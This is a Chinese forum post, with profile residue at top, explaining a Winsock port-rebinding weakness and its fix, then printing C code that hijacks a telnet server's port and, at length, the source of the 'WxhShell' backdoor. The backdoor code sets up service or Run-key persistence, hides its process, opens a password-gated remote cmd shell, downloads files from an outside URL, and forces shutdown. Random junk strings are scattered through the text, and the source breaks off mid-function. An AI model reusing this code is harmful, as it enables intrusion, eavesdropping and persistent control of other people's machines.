-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T;#FEzBz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3oqHGA:} g=rbPbu saddr.sin_family = AF_INET; c`W,~[Q<O+ y)*RV;^ saddr.sin_addr.s_addr = htonl(INADDR_ANY); H>C=zo,oiC Cyp'?N
bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); olcDt&xv] wS*E(IAl 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q.[0ct P* o9a 这意味着什么?意味着可以进行如下的攻击: ;=N#`l ;\]@K6m/Ap 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *`U~?q} xkn;,`t^lJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ME dWLFf Ls%MGs9PI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `2snz1>!j u&NV,6Fj2[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 y)pk6d }M+7T\J! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M?qy(zb $u.z*b_yy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D]}G.v1 Yz b XuJ4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .u:GjL'$ a
=QCp4^ #include kP"9&R`E #include ,s(,S #include HP=+<]?{G #include 8_8l.!~ DWORD WINAPI ClientThread(LPVOID lpParam); nR~(0G,H int main() nK,w]{<wG! { hQi2U WORD wVersionRequested; KSvE~h[#+ DWORD ret; ys~x$ WSADATA wsaData; nlYNN/@" BOOL val; ..qCPlK; SOCKADDR_IN saddr; YMgNzu SOCKADDR_IN scaddr; G?ZXWu. int err; ;fJ.8C SOCKET s; TN.rrop`#g SOCKET sc; uc=B,3 int caddsize; Fp:'M X HANDLE mt; @VBcJ{e, DWORD tid; "#] $r wVersionRequested = MAKEWORD( 2, 2 ); :0ep(<|; err = WSAStartup( wVersionRequested, &wsaData ); OnK4] S5 if ( err != 0 ) { R8Tx[CJ5 printf("error!WSAStartup failed!\n"); ;]iRk return -1; G#CXs:1pd+ } liZxBs
:%i saddr.sin_family = AF_INET; q@&6#B J1vR5wbu //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(=$x.1 R2; saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1,~D4lD| saddr.sin_port = htons(23); y^k$Us if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KP"+e:a% { Rv=YFo[B printf("error!socket failed!\n"); Vj-h;rB0z return -1; Th%zn2R B } >V937 val = TRUE; yuVs
YV@" //SO_REUSEADDR选项就是可以实现端口重绑定的 GmG5[?) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AdmC&!nH { :+Z%; Dc printf("error!setsockopt failed!\n"); G6/m# return -1; VQs5"K" } nNm`Hfi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4W])}C % //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N;d] 14| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u y+pP!< #ABCDi={zA if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2/f}S?@ { ;
KA~Z5x; ret=GetLastError(); *#2h/Q. printf("error!bind failed!\n"); j+!v}*I![ return -1; omFz@ } @ 7u 0v listen(s,2); [m -bV$-d while(1) \G BuWY3B { [RL9>n8f caddsize = sizeof(scaddr); >sF)BoLc //接受连接请求 4
:v=pZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); edD)TpmE, if(sc!=INVALID_SOCKET) (BM47D=v { .d*8C, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FsPw1A$y if(mt==NULL) ye97!nIg@ { RNL9>7xV printf("Thread Creat Failed!\n"); "|NI]Kv break; wq{hF< } ;|RTx } Q/?$x*\> CloseHandle(mt); [K Qi.u } Kq!3wb; closesocket(s); }b}m3i1 WSACleanup(); df=f62 return 0; ~~.}ah/_d } ta0|^KAA DWORD WINAPI ClientThread(LPVOID lpParam) _GPe<H { <%^&2UMg SOCKET ss = (SOCKET)lpParam; *i,%,O96Nz SOCKET sc; xLE)/}y_7H unsigned char buf[4096]; ,+VGSd SOCKADDR_IN saddr; 7^Uv7<pw long num; SJLis"8 DWORD val; 7=uj2.J6 DWORD ret; JT?h1v<H] //如果是隐藏端口应用的话,可以在此处加一些判断 WA qINLdX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 _g8yDfcLG saddr.sin_family = AF_INET; ^Pf WG* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y7{?Ip4[ saddr.sin_port = htons(23); AX INThJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]|@^1we { l] vm=7: printf("error!socket failed!\n"); _aphkeqd return -1; xk5]^yDp } jdN`mosJ val = 100; YUb_y^B^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T|$H#n} { *a)n62 ret = GetLastError(); mv><HqDL1 return -1; TC('H[
] } #mT"gs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `^vE9nW7 { sKWfXCd ret = GetLastError(); z}<^jgJ return -1; _`V'r#Qn } VTM/hJmwJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wzA$'+Mb { =|=(l)8 printf("error!socket connect failed!\n"); &m3lXl closesocket(sc); 0Gk<l{o?^ closesocket(ss); 1 zZlC#V return -1; m 5.Zu. } "%_+-C<L4 while(1) ]'cs. { gR**@t=;j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DXo|.!P=3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 #E?4E1bnB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J,hCvm num = recv(ss,buf,4096,0); mw!F{pw if(num>0) '91/md5 send(sc,buf,num,0); 29rX%09T] else if(num==0) {ax:RUQxy break; /z!%d%" num = recv(sc,buf,4096,0); }C:r9?T if(num>0) E./2jCwI(Y send(ss,buf,num,0); :/#rZPPF else if(num==0) > I?IPQB
break; 8}[).d160 }
XX@ZQcN closesocket(ss); dG{A~Z z closesocket(sc); .>S!ji return 0 ; Ba,`TJ%y } eRYK3W \RiP
*hx ========================================================== vdZW%-A&\ d$RIS+V 下边附上一个代码,,WXhSHELL 2T35{Q!=F }6# ========================================================== 1^}+=~ g(052]
#include "stdafx.h" f 2.HF@ q'DW~!>qX #include <stdio.h> BLttb #include <string.h> R5D1w+ #include <windows.h> XUYtEf #include <winsock2.h> pkzaNY/q #include <winsvc.h> x4 yR8n( #include <urlmon.h> pb}*\/s \bcLiKE{ #pragma comment (lib, "Ws2_32.lib") KwS@D9bok #pragma comment (lib, "urlmon.lib") tc! #wd+u uYN`:b8 #define MAX_USER 100 // 最大客户端连接数 WLT"ji0w2 #define BUF_SOCK 200 // sock buffer *VcJ= b
2Y #define KEY_BUFF 255 // 输入 buffer *p U x8yB | (93gJ #define REBOOT 0 // 重启 vQCy\Gi #define SHUTDOWN 1 // 关机 }j%5t ~Qa \85i+q:LuA #define DEF_PORT 5000 // 监听端口 gJXaPJA{ }OUt sh ]y #define REG_LEN 16 // 注册表键长度 N['.BN #define SVC_LEN 80 // NT服务名长度 tA;}h7/Lc~ 8=l%5r^cq // 从dll定义API kj_c%T
]/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,prf;|e? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XTyxr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t# i#(H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b;n[mk
az$FnVNn= // wxhshell配置信息 v+XJ*N[W struct WSCFG { p2eGm-Erq int ws_port; // 监听端口 }tz7b# char ws_passstr[REG_LEN]; // 口令 [WmM6UEVS int ws_autoins; // 安装标记, 1=yes 0=no ueudRb char ws_regname[REG_LEN]; // 注册表键名 G[=c
Ss, char ws_svcname[REG_LEN]; // 服务名 pP_LR
ks} char ws_svcdisp[SVC_LEN]; // 服务显示名 O-^Ma-} char ws_svcdesc[SVC_LEN]; // 服务描述信息 _XBd3JN@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C]6O!Pb0 int ws_downexe; // 下载执行标记, 1=yes 0=no )e{aN+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" d6O[ @CyP char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5O%{{J (>Em^(& }; I,tud!p` {FkF // default Wxhshell configuration &Jj<h: * struct WSCFG wscfg={DEF_PORT, /wp6KXm "xuhuanlingzhe", `3pW]&
1, 'DR!9De "Wxhshell", eFgA 8kY) "Wxhshell", 7dWS "WxhShell Service", ,bi^P>X "Wrsky Windows CmdShell Service",
P0@,fd< "Please Input Your Password: ", TbU#96"~. 1, j%kncGS " http://www.wrsky.com/wxhshell.exe", (=0.in Z "Wxhshell.exe" ~$'awY }; ;l+Leex
# d // 消息定义模块 Vr}'.\$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l#o
~W` char *msg_ws_prompt="\n\r? for help\n\r#>"; aN?zmkPpov char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; /:
"1Z]@ char *msg_ws_ext="\n\rExit."; <)9y{J}s: char *msg_ws_end="\n\rQuit."; CJ}%W# char *msg_ws_boot="\n\rReboot..."; 4Z*/WsCv char *msg_ws_poff="\n\rShutdown..."; )7F/O3Tq char *msg_ws_down="\n\rSave to "; 4RO}<$Nx} m0wDX*Qn char *msg_ws_err="\n\rErr!"; th_oJcS char *msg_ws_ok="\n\rOK!"; sC'`~}C G{}VPcrbC char ExeFile[MAX_PATH]; @JMiO^ int nUser = 0; C+$#y2"z#n HANDLE handles[MAX_USER]; $4LzcwG int OsIsNt; {)XTk&" 79gT+~z SERVICE_STATUS serviceStatus; N8jIMb'< SERVICE_STATUS_HANDLE hServiceStatusHandle; Cdn J&N{
TjH][bH5 // 函数声明 Y2AJ+
| int Install(void); pBHRa?Y5 int Uninstall(void); x5Bk/e' int DownloadFile(char *sURL, SOCKET wsh); ZK,G v int Boot(int flag); 6P3*Z void HideProc(void); -@'FW*b int GetOsVer(void); Lbgi7|& int Wxhshell(SOCKET wsl); Wr
4,YQM void TalkWithClient(void *cs); XFl6M~ c int CmdShell(SOCKET sock); }bxs]?OW> int StartFromService(void); c 9Mz]1@f int StartWxhshell(LPSTR lpCmdLine); 7Q 3 k7 Txu/{M, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BGSw~6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); y29m/i: P.cyO3l // 数据结构和表定义 * 4'"2" SERVICE_TABLE_ENTRY DispatchTable[] = {7[Ox<Ho { Jy)/%p~ {wscfg.ws_svcname, NTServiceMain}, O.? JmE {NULL, NULL} rI\FI0zIp_ }; {}9a6.V;}
3";q[&F9y // 自我安装 MgZ/(X E int Install(void) 4#D,?eA7 { dtDFoETz char svExeFile[MAX_PATH]; /ZX}Nc g HKEY key; '1[Ft03 strcpy(svExeFile,ExeFile); \bXa&Lq =;L|gtH" // 如果是win9x系统,修改注册表设为自启动 4W75T2q# if(!OsIsNt) { 2?C)& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 97Vtn4N3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /vt3>d%B; RegCloseKey(key); :gv"M8AP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F59 TZI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $4\j]RE! RegCloseKey(key); *. t^MP return 0; NEs:},)o } xT8?&Bx } UKGPtKE< } ?,/ }`3Vw else {
(3e2c kJU2C=m@e2 // 如果是NT以上系统,安装为系统服务 " bG2: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u8^lB7!e/ if (schSCManager!=0) `[A];] { *CMx- _ SC_HANDLE schService = CreateService BT$_@%ea& ( )J |6 -C schSCManager, TeQV?ZQ#} wscfg.ws_svcname, rv;3~'V wscfg.ws_svcdisp, :RYTL'hes SERVICE_ALL_ACCESS, x`s>*^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7<4qQ.deE SERVICE_AUTO_START, XW/o<[91 SERVICE_ERROR_NORMAL, crCJrN= svExeFile, \8tsDG(1 ' NULL, #yen8SskB NULL, 4-w{BZuS NULL, UiWg<_<t NULL, =4!mAo} NULL $G>. \t ); ]:;&1h3'7 if (schService!=0) }H4RR}g { %O<BfIZ CloseServiceHandle(schService); Cx"sw
} CloseServiceHandle(schSCManager); xno\s.H%] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XW9!p.*.U strcat(svExeFile,wscfg.ws_svcname); _F{C\} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~&O%N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); reVgqYp{{- RegCloseKey(key); PF2nLb2- return 0; G$PE}%X } k)u[0} } =Qq+4F)MD CloseServiceHandle(schSCManager); IV-{ve6 } 6@f-Glwg } Vl]>u+YqE 'qi}|I return 1; ^Cmyx3O^ } 9Flb|G% H]s.=.Ki // 自我卸载 6@o*xK7L int Uninstall(void) POW>~Tof1 { QJNFA}*> HKEY key; 0x7'^Z>-oe $kgVa^ if(!OsIsNt) { NA*#~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l6B@qYLZ RegDeleteValue(key,wscfg.ws_regname); 3$w65= RegCloseKey(key); ^aQ"E9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g}i61( RegDeleteValue(key,wscfg.ws_regname); n%-0V> RegCloseKey(key); E]6
6]+;0_ return 0; Bx!-"e } _@g;8CA } tkhCw/ } !wNO8;( else { l2d{ 73h ToQ"Iy? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iE{&*.q_}> if (schSCManager!=0) _ |p8M!
{ j|n R"! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H]!"Zq k if (schService!=0) 598i^z{~0% { Al'3? if(DeleteService(schService)!=0) { Bt#N4m[X*| CloseServiceHandle(schService); ^{{ qV CloseServiceHandle(schSCManager); \9d$@V return 0; yVc(`,tZ( } "KlwA.7/ CloseServiceHandle(schService); *VeRVaBl } ]k(]qZ CloseServiceHandle(schSCManager); d3Rw!slIq } ^.G$Q# y, } Je@v8{][| tDo"K3 return 1; -8Xf0_ } +#By*;BJ vy/-wP|1 // 从指定url下载文件 ]9XDS[<2` int DownloadFile(char *sURL, SOCKET wsh) SaCh
7 ^ { :EH=_" HRESULT hr; /bEAK- char seps[]= "/"; G:JR7N$ char *token; k8Xm n6X char *file; 1cGmg1U; char myURL[MAX_PATH]; 7KPwQ?SjT char myFILE[MAX_PATH]; $N\Ja*g F"<vaqT2 strcpy(myURL,sURL); ccnK#fn v token=strtok(myURL,seps); [Yyk0Qv|4 while(token!=NULL) l@\FWWQ { Tr|JYLwF file=token; FqifriLN token=strtok(NULL,seps); &R siVBA } q =Il|Nb> ':}\4j&{E GetCurrentDirectory(MAX_PATH,myFILE); 2Hdu:"j strcat(myFILE, "\\"); ]d`VT)~vje strcat(myFILE, file); bfO=;S]b! send(wsh,myFILE,strlen(myFILE),0); DN/YHSYK send(wsh,"...",3,0); a>)f=uS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w:l"\Tm if(hr==S_OK) W`&hp6Jq return 0; \f)#>+X- else 6,uX,X5 return 1; ?8 {"x8W; <X5fUU"+U } .G^YqJ 4 h1{3njdr // 系统电源模块 ~v83pu1!2s int Boot(int flag) 0Qd:`HF[ { >{Tm##@,k HANDLE hToken; lLD12d TOKEN_PRIVILEGES tkp; Z=
!*e~j@ a:S - if(OsIsNt) { X(C$@N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PzGWff!*n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [:V$y1 tkp.PrivilegeCount = 1; %UM
*79 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8X0z~& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5PW^j\G-f if(flag==REBOOT) { rGkyGz8> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c)tfAD(N8x return 0; \Roz$t-R|f } <,(,jU)j else { KYP!Rs/j. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d %#b:(, return 0; c(%|: P^ } oE~Bq/p } Q,9oKg else { 'RRE|L, if(flag==REBOOT) { }75e:w[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =2 kG%9 return 0; E E'!|N3 } E"@wek.- else { 9/7u*>: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |CzSU1ma return 0; \4#W xZ } 6R5Qy]]E } ;GI&lpKK Z)\@i=m return 1; K@#L)VT! } d/Q%IeEL. )ANmIwmC# // win9x进程隐藏模块 [9 RR8 void HideProc(void) EZj9wd"u { 3Y~>qGQwh `@
FYkH HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jSA jcLR if ( hKernel != NULL ) AK#1]i~ { '=6\v! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;\l,5EG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Pf~iwfw FreeLibrary(hKernel); JZ#[
2mLh } \15nSB {V-v-f return; `p7=t)5k } V!dtF,tH ][] // 获取操作系统版本 2|bn(QYz int GetOsVer(void) u4_9)P`]0 { WT}H>T OSVERSIONINFO winfo; H4JTGt1" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l (%1jC8 GetVersionEx(&winfo); JLJ;TM'4= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Yca%: return 1; w\brVnt else t_suF$ return 0; Ki~1qu: } yOg+iFTr O#u=c1
?: // 客户端句柄模块 ,u
g@f-T int Wxhshell(SOCKET wsl) 9k~8 { n}77##+R&C SOCKET wsh; 2dzrRH struct sockaddr_in client; A= {UL DWORD myID; p6WX9\qS( ,=mS,r7 while(nUser<MAX_USER) D )'bH5 { TW>WHCAm int nSize=sizeof(client); *|E[L^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XS BA$y if(wsh==INVALID_SOCKET) return 1; 65m"J' ^Q^_?~h*! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -o.:P>/ if(handles[nUser]==0) W"3ph6[eW closesocket(wsh); "x /OIf else 5P$4 =z91 nUser++; Ip]KPrwp } (%:c#;# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9<)NvU^-r ~3S~\0&| return 0; -B\HI*u } zkdetrR :#~j:C| // 关闭 socket OaZQ7BGq void CloseIt(SOCKET wsh) )tnh4WMh} { ?KI,cl closesocket(wsh); aoa)BNs nUser--; d5z`B H. ExitThread(0); 1&o|TT/ } a+PzI x2 hDq`Z$_+KX // 客户端请求句柄
0nD/;\OU void TalkWithClient(void *cs) tlt*fH$. { 13=.H5 ^w06<m SOCKET wsh=(SOCKET)cs; :<#nTh_@\' char pwd[SVC_LEN]; B !=F2 char cmd[KEY_BUFF]; :$9tF> char chr[1]; 2Q"K8=s int i,j; E\2%E@0# PIpi1v*qz while (nUser < MAX_USER) { {&T_sw@[ ;{o|9x| if(wscfg.ws_passstr) { q8Z<{#oXu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SN!?}<|U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RlDn0s //ZeroMemory(pwd,KEY_BUFF); 9pxc~= i=0; x~j`@k,; while(i<SVC_LEN) { *U\`CXn; ;l-!)0U // 设置超时 &q|K!5[k fd_set FdRead; 78%~N`x7 struct timeval TimeOut; 1|6%evPu( FD_ZERO(&FdRead);
U2~kJ FD_SET(wsh,&FdRead); d6sye^P TimeOut.tv_sec=8; {Fe[:\ TimeOut.tv_usec=0; -{vKus int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +V^;.P</ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oD1/{dRzj td3D=Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VEw" pwd =chr[0]; VD]zz
^ if(chr[0]==0xd || chr[0]==0xa) { )M//l1 pwd=0; 1s@+;QUib break; 3fJc
9| } l/
; i++; "4,?uPi } ">jj {Wu$YWE*sx // 如果是非法用户,关闭 socket SrK<fAkx if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ye? 'Ze } c>~*/%+ ,V:SN~P66+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^J8lBLqe send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Ti'FhN >q1L2',pK while(1) { -701j'q{ GU8sO@S5# ZeroMemory(cmd,KEY_BUFF); 0f>5(ek }HePZ{PLM // 自动支持客户端 telnet标准 +|89>}w4 j=0; P &e\)Z| while(j<KEY_BUFF) { @w !PaP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I[##2 cmd[j]=chr[0]; \1 &,|\E# if(chr[0]==0xa || chr[0]==0xd) { l9u!aD cmd[j]=0; FA3~|Zg break; 'V=P*#|SR } EeRX+BM, j++; K$_0`>[ } aC.~&MxFC 9dUravC7 // 下载文件 t#pS{.I if(strstr(cmd,"http://")) { :|8M`18lZ send(wsh,msg_ws_down,strlen(msg_ws_down),0); {"QNJq#: if(DownloadFile(cmd,wsh)) Um-[~- send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 uKY24 else k<{{* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); spPNr }
oVfLnI; else { &,CiM0 6U,O*WJ%e switch(cmd[0]) { zZ323pq YCM]VDx4u1 // 帮助 #c?j\Y9nz case '?': { +sUFv)!4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !~D}/Q;#}\ break; t*T2Z-!P } }m;,Q9:+m^ // 安装 o-OHjFfB case 'i': { iv;Is[<o if(Install()) M`i\VG send(wsh,msg_ws_err,strlen(msg_ws_err),0); {I #]@, else mFaZio0GK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); emPM4iG?! break; ^y1j.M@q } (/j/>9iro // 卸载 O7<]U_"I case 'r': { .1Al<OLL if(Uninstall()) Ix=}+K/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vq?p|wy else ,+xB$e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c>RFdc:U break; q):5JXql~ } 9-DZU,`P // 显示 wxhshell 所在路径 A.F738Zp{Z case 'p': { :~T99^$zA char svExeFile[MAX_PATH]; ,\n&I( strcpy(svExeFile,"\n\r"); DBD%6o>]K strcat(svExeFile,ExeFile);
&NoS=(s, send(wsh,svExeFile,strlen(svExeFile),0); D9
|n)f break; 9:1Q1,-i!- } hB>oJC // 重启 iQ
fJ case 'b': { lXiKY@R# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R:k5QD9/&p if(Boot(REBOOT)) 72y0/FJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _EMwm&! else { \uC15s< closesocket(wsh); tlqiXh< ExitThread(0); -~30)J=e` } \6<=$vD break; M
.JoHH } sy"^?th}b // 关机 u\{ g(li-I case 'd': { =L:4i\4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2h1C9n%j9 if(Boot(SHUTDOWN)) Z99>5\k send(wsh,msg_ws_err,strlen(msg_ws_err),0); D.Q=]jOs else { M#VE ]J closesocket(wsh); /ZPyN<@ ExitThread(0); `~Zs0 } QQ ~- break; @&:ar } 4VCOKx // 获取shell e<h~o!za case 's': { K4;'/cS CmdShell(wsh); I}6\Sv= closesocket(wsh); Vz)`nmO}5\ ExitThread(0); FCuB\Q break; #9xd[A: N } m{uxIza // 退出 )3w@]5j case 'x': { 4 G-wd send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `_{`l4i5 CloseIt(wsh); J}+6UlD break; /[)qEl2]K } 5sJJGv#6 // 离开 H_ox_
u} case 'q': { Nkl_Ho, send(wsh,msg_ws_end,strlen(msg_ws_end),0); @$c\dvO closesocket(wsh); W"'iIh)z
` WSACleanup(); !l 1fIc exit(1); F\k+[`%{ break; mkF" } ?5cI' } J<maQ6p } >U*T0FL7 ? 1$fJ3 // 提示信息 $UCAhG$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \lC } d'$T4yA } Z->p1xkX :^x?2%
~K. return; C{DvD'^ } Dzs[GAQ] YY!6/5*/] // shell模块句柄 \y) int CmdShell(SOCKET sock) J@X'PG<
6B { ";Rtiiu STARTUPINFO si; $8[r9L!
ZeroMemory(&si,sizeof(si)); !PJ 6%" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 78OIUNm` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QC;^xG+W PROCESS_INFORMATION ProcessInfo; WjwLM2<nK7 char cmdline[]="cmd"; Ii_ojQP-z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 88h3|'* return 0; ),!;| bh } F[[TWf/ 5~WGZc // 自身启动模式 u[/m|z int StartFromService(void) WT`4s { ixQJ[fH10 typedef struct XWs"jt { :2-pjkhiwY DWORD ExitStatus; R&';Oro DWORD PebBaseAddress; hQH nwr DWORD AffinityMask; ez!C? DWORD BasePriority; 8o0%@5M ULONG UniqueProcessId; 09kt[
